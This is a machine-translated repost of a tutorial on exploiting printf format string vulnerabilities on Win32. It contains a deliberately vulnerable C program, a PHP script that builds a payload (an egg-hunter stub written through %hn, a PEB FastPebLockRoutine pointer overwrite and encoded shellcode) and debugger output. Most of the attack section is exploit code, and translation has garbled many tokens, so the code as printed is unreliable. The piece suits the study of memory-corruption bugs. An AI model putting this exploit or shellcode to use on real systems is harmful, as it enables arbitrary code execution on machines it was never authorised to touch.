How to exploit the formatting string vulnerability on the Win32 Platform

Source: Internet
Author: User
Article Title: how to exploit the formatting string vulnerability on the Win32 Platform. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
This article is due to the issue that KF has encountered in the 0dd mailing list. due to the fact that the Win32 Platform has very few formatting vulnerabilities, we have not paid attention to this issue before. However, David Litchfield once wrote the exploitation technology of the Win32 Platform formatting string vulnerability, but he did not use a very good method, so this article was available.
  
1.1 The format string of Win32 Platform is different from that of other platforms
  
The "$" format character for directly specifying the parameter to be accessed in Linux is not supported in Win32 at all:
  
D: \ working \ research \ Win32 format \ 2004.10.27> type d_test.c
Main ()
{
Printf ("% 6 $ d \ n", 6, 5, 4, 3, 2, 1 );
}
  
   Run the command after compiling with VC6 to view the result:
D: \ working \ research \ Win32 format \ 2004.10.27> cl d_test.c
Microsoft (R) 32-bit C/C ++ Optimizing Compiler Version 12.00.8804 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.
  
D_test.c
Microsoft (R) Incremental Linker Version 6.00.8447
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
  
/Out: d_test.exe
D_test.obj
  
D: \ working \ research \ Win32 format \ 2004.10.27> d_test
$ D
  
The output is "$ d ". Therefore, the "% d $ hn" format string in Linux cannot be used in Win32, but it does not matter. you can use other formats to enter the pop parameter. The disadvantage is that the construction of the format string may be a little longer, but this is not affected in many cases.
  
Another problem is that the Win32 stack address is not as stable as Linux/Unix, and the Win32 stack address is generally 0x0012e000. the first byte contains 0, therefore, the method for overwriting the return address stored by the function in the stack is not so comfortable (David Litchfield mentioned that the stack address is placed at the end of the format string, and the format string terminator 0 is combined into a complete stack address). It is not so stable to select the stack address as the shellcode address. The following example shows how to better utilize the Win32 Platform format string.
  
1.2 demonstration of using methods for formatting strings on Win32 Platform
  
First, we construct a program with the formatting string vulnerability:
  
/* Windows format strings demo
*
* San@xfocus.org
* 2004.10.26
*/
  
# Include
# Define IOSIZE 1024
  
Int main (int argc, char ** argv)
{
FILE * binFileH;
Char binFile [] = "binfile ";
Char buf [IOSIZE];
  
If (binFileH = fopen (binFile, "rb") = NULL)
{
Printf ("can't open file % s! \ N ", binFile );
Exit ();
}
  
Memset (buf, 0, sizeof (buf ));
Fread (buf, sizeof (char), IOSIZE, binFileH );
  
Printf ("% d \ n", strlen (buf ));
Printf (buf );
  
Fclose (binFileH );
}
  
This is a very simple program. it reads content from the "binfile" file in the current directory and prints the content directly as a printf parameter. this is a typical formatting string vulnerability. Construct a "binfile" file containing the following content:
  
AAAABBBB | % x
  
Run the format program:
  
D: \ working \ research \ Win32 format \ 2004.10.27> format
23
AAAABBBB | 666e6962 | 656c69 | 41414141 | 42424242 | 7c78257c
  
It can be found that the first content of the format string can be displayed only after two pop parameters are removed. But what address should we cover in Win32? BasepCurrentTopLevelFilter pointer is a good idea, but its addresses are different in different versions. Because the formatting string vulnerability can write arbitrary content to any address multiple times, can we write a piece of code to an address and then write the address to the Peb-> FastPebLockRoutine pointer, then, when the program exits, the Peb-> FastPebLockRoutine pointer can be called to execute our code. We use this code to search for the shellcode task in the stack:
7FFDF250 54 PUSH ESP
7ffdf3165f POP EDI
7FFDF252 B8 90909090 mov eax, 90909090
7FFDF257 FC CLD
7FFDF258 F2: af repne scas dword ptr es: [EDI]
7FFDF25A 57 PUSH EDI
7FFDF25B C3 RETN
  
This code indicates to search for content containing 0x9090909090 from the current esp to the high address. if it is found, the code is executed. Searching for high or low esp addresses depends on the current situation. The search code contains 12 bytes and 4 bytes that overwrite the address. The total size is 16 bytes. you need to write the code eight times to the memory address. Because the C language is a little difficult to process strings, I used PHP to write the following process of constructing format strings:
  
   /* Windows format strings demo
*
* San@xfocus.org
* 2004.10.26
*/
  
$ Flag = 2;
$ Shellcode =
"\ Xeb \ x10 \ x5b \ x4b \ x33 \ xc9 \ x66 \ xb9 \ x58 \ x01 \ x80 \ x34 \ x0b \ xf8 \ xe2 \ xfa ".
"\ Xeb \ x05 \ xe8 \ xeb \ xff \ x11 \ xda \ xf9 \ xf8 \ xf8 \ xa7 \ x9c \ x59 \ xc8 ".
"\ Xf8 \ xf8 \ xf8 \ xa8 \ x73 \ xb8 \ xf4 \ x73 \ xb8 \ xe4 \ x73 \ x90 \ xf0 \ xa8 \ x73 \ x0f ".
"\ X92 \ xfa \ xa1 \ x10 \ x39 \ xf8 \ xf8 \ xf8 \ x1a \ x01 \ xa0 \ x73 \ xf8 \ x73 \ x90 \ xf0 ".
"\ Xa0 \ x07 \ xce \ x77 \ xb8 \ xd8 \ x07 \ x8e \ xfc \ x77 \ xb8 \ xdc \ x92 \ xfb \ xa1 \ x10 ".
"\ X5d \ xf8 \ xf8 \ xf8 \ x1a \ x01 \ x90 \ xcb \ xca \ xf8 \ xf8 \ x90 \ x8f \ x8b \ xca \ xa7 ".
"\ Xac \ x07 \ xae \ xf0 \ x73 \ x10 \ x92 \ xfd \ xa1 \ x10 \ x73 \ xf8 \ xf8 \ xf8 \ x1a \ x01 ".
"\ X79 \ x14 \ x68 \ xf9 \ xf8 \ xac \ x90 \ xf9 \ xf9 \ xf8 \ xf8 \ x07 \ xae \ xec \ xa8 ".
"\ Xa8 \ xa8 \ xa8 \ x92 \ xf9 \ x92 \ xfa \ x07 \ xae \ xe0 \ x73 \ x20 \ xcb \ x38 \ xa8 \ xa8 ".
"\ Xa8 \ x73 \ x04 \ x9e \ x3f \ xff \ xfa \ xf8 \ x9e \ x73 \ xbe \ xd0 \ x7e \ x3c \ x9e \ x71 ".
"\ Xbf \ xfa \ x92 \ xe8 \ xaf \ xab \ x07 \ xae \ xe4 \ x92 \ xf9 \ xab \ x07 \ xae \ xd8 \ xa8 ".
"\ Xa8 \ xab \ x07 \ xae \ xdc \ x73 \ x20 \ x90 \ x9b \ x95 \ x9c \ xf8 \ x75 \ xec \ xdc \ x7b ".
"\ X14 \ xac \ x73 \ x04 \ x92 \ xec \ xa1 \ xcb \ x38 \ x71 \ xfc \ x77 \ x1a \ x03 \ x3e \ xbf ".
"\ Xe8 \ xbc \ x06 \ xbf \ xc4 \ x06 \ xbf \ xc5 \ x71 \ xa7 \ xb0 \ x71 \ xa7 \ xb4 \ x71 \ xa7 ".
"\ Xa8 \ x75 \ xbf \ xe8 \ xaf \ xa8 \ xa9 \ xa9 \ xa9 \ x92 \ xf9 \ xa9 \ xa9 \ xaa \ xa9 \ x07 ".
"\ Xae \ xf4 \ xcb \ x38 \ xb0 \ xa8 \ x07 \ xae \ xe8 \ xa9 \ xae \ x73 \ x8d \ xc4 \ x73 \ x8c ".
"\ Xd6 \ x80 \ xfb \ x0d \ xae \ x73 \ x8e \ xd8 \ xfb \ x0d \ xcb \ x31 \ xb1 \ xb9 \ x55 \ xfb ".
"\ X3d \ xcb \ x23 \ xf7 \ x46 \ xe8 \ xc2 \ x2e \ x8c \ xf0 \ x39 \ x33 \ xff \ xfb \ x22 \ xb8 ".
"\ X13 \ x09 \ xc3 \ xe7 \ x8d \ x1f \ xa6 \ x73 \ xa6 \ xdc \ xfb \ x25 \ x9e \ x73 \ xf4 \ xb3 ".
"\ X73 \ xa6 \ xe4 \ xfb \ x25 \ x73 \ xfc \ x73 \ xfb \ x3d \ x53 \ xa6 \ xa1 \ x3b \ x10 \ x21 ".
"\ X06 \ x07 \ x07 \ x06 \ xdc \ x81 \ x9c \ x22 \ x06 \ xf1 \ x6e \ xca \ x8c \ x69 \ xf4 \ x31 ".
"\ X44 \ x5e \ x93 \ x77 \ x0a \ xe0 \ x99 \ xc5 \ x92 \ x4c \ x78 \ xd5 \ xca \ x80 \ x26 \ x9c ".
"\ Xe8 \ x5f \ x25 \ xf4 \ x67 \ x2b \ xb3 \ x49 \ xe6 \ x6f \ xf9 \ xa4 \ xe9 \ x47 \ x1d ";
  
/*
7FFDF250 54 PUSH ESP
7ffdf3165f POP EDI
7FFDF252 B8 90909090 mov eax, 90909090
7FFDF257 FC CLD
7FFDF258 F2: af repne scas dword ptr es: [EDI]
7FFDF25A 57 PUSH EDI
7FFDF25B C3 RETN
*/
$ Fmt_array = array (
0x7FFDF250 => "0x5f54 ",
0x7FFDF252 => "0x90b8 ",
0x7FFDF254 => "0x9090 ",
0x7FFDF256 => "0xfc90 ",
0x7FFDF258 => "0xaff2 ",
0x7FFDF25A => "0xc357 ",
0x7FFDF022 => "0x7ffd ",
0x7FFDF020 => "0xf250 ",
);
  
Asort ($ fmt_array );
Print_r ($ fmt_array );
$ Count = count ($ fmt_array );
  
$ Head = "";
$ Tail = "";
$ Last = 0;
Foreach ($ fmt_array as $ k => $ v ){
Printf ("% x \ n", $ k );
$ B0 = sprintf ("% c", ($ k> 24) & 0xff ));
$ B1 = sprintf ("% c", ($ k> 16) & 0xff ));
$ B2 = sprintf ("% c", ($ k> 8) & 0xff ));
$ B3 = sprintf ("% c", ($ k) & 0xff ));
  
If (! $ Last ){
$ Last + = 8 * $ count + 8 * $ flag;
}
  
$ Head. = "AAAA". $ b3. $ b2. $ b1. $ b0;
$ Tail. = "%". ($ v-$ last). "c % hn ";
$ Last = $ v;
}
$ Fmt_str = $ head. (str_repeat ("%. 8x", $ flag). $ tail;
  
$ Fmt_str. = str_repeat ("\ x90", 100). $ shellcode;
  
$ Fp = fopen ("binfile", "wb ");
Fwrite ($ fp, $ fmt_str );
Fclose ($ fp );
?>
  
After the "binfile" file is generated, use the SoftICE Symbol loader‑format.exe program for debugging. First, the next read/write breakpoint for 0x7ffdf020 is:
  
: Bpm 7ffdf020
: Dd 7ffdf020
: G
  
After running four GB, the content of 0x7ffdf020 is changed to 0x7ffdf250, and the address starting with 0x7ffdf250 is also written into the code for the above 12 bytes to search for shellcode. At this time, a breakpoint is placed at 0x7ffdf250:
  
: Bpx 7ffdf250
: G
  
Run two g to enter the region:
  
001B: 7FFDF250 54 PUSH ESP
001B: 7ffdf3165f POP EDI
001B: 7FFDF252 B890909090 mov eax, 90909090
001B: 7FFDF257 FC CLD
001B: 7FFDF258 F2AF REPNZ SCASD
001B: 7FFDF25A 57 PUSH EDI
001B: 7FFDF25B
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.